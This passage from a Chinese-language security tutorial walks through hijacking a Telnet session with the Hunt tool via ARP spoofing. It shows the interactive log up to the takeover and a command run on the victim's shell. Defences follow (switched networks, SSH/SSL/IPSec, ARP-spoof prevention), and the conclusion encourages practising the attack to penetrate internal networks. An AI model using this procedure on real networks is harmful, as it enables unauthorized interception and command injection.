l/w/r) list/watch/reset connections

　　u) host up tests

　　a) arp/simple hijack (avoids ack storm if arp used)

　　s) simple hijack

　　d) daemons rst/arp/sniff/mac

　　o) options

　　x) exit

　　*> a //进行中间人会话劫持

　　0)192.168.0.1 [3862] ?192.168.0.20 [23]

　　choose conn> 0

　　arp spoof src in dst y/n [y]>

　　src MAC [XX:XX:XX:XX:XX:XX]>

　　arp spoof dst in src y/n [y]>

　　dst MAC [XX:XX:XX:XX:XX:XX]>

　　input mode [r]aw, [l]ine+echo+ , line+[e]cho [r]>

　　dump connectin y/n [y]> n

　　press key to take voer of connection

　　ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host 192.168.0.1 FA

　　ILED

　　do you want to force arp spoof nutil successed y/n [y]>

　　CTRL-C to break

　　CTRL+C //手工输入CTRL+C中断，不需等待

　　-- operation canceled - press any key>

　　ARP spoof failed

　　ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED

　　you took over the connection

　　CTRL-] to break

　　-bash-2.05b$id

　　....................

　　现在，攻击者已经成功的劫持了主机A和B之间的Telnet会话。主机A输入的一切命令攻击者都可以看到，并且攻击者也可以自行插入命令。正如前边所说的，这种会话劫持方式先进行ARP欺骗，然后才劫持，所以，ACK风暴是不会出现的;而且，这种方式要比注射式会话劫持危害更大，从上文中我想就能看出来，我就不必在多说什么了。还有一些如Sniffer等功能，都很简单，由于已不在本文范畴，故不在多说。

　　三、会话劫持防范

　　防范会话劫持是一个比较大的工程。首先应该使用交换式网络替代共享式网络，虽然像Hunt这样的工具可以在交换环境中实现会话劫持，但还是应该使用交换式网络替代共享式网络，因为这样可以防范最基本的嗅探攻击。然而，最根本的解决办法是采用加密通讯，使用SSH代替Telnet、使用SSL代替HTTP，或者干脆使用IPSec/VPN，这样会话劫持就无用武之地了。其次，监视网络流量，如发现网络中出现大量的ACK包，则有可能已被进行了会话劫持攻击。

　　还有一点是比较重要的，就是防范ARP欺骗。实现中间人攻击的前提是ARP欺骗，如能阻止攻击者进行ARP欺骗，中间人攻击还怎样进行?!如何防范ARP欺骗，黑客防线有过详细的介绍，可以参考2003年第9期杂志。

　　总结

　　对于渗透内部网络，会话劫持确实是一种比较有效的方法，我们应该掌握。本文的实践性很强，请大家务必动手试试，并希望能掌握此技术。Hunt这个强悍的工具使用方法很简单，但却可以把会话劫持发挥淋漓尽致，真佩服作者的编程功底。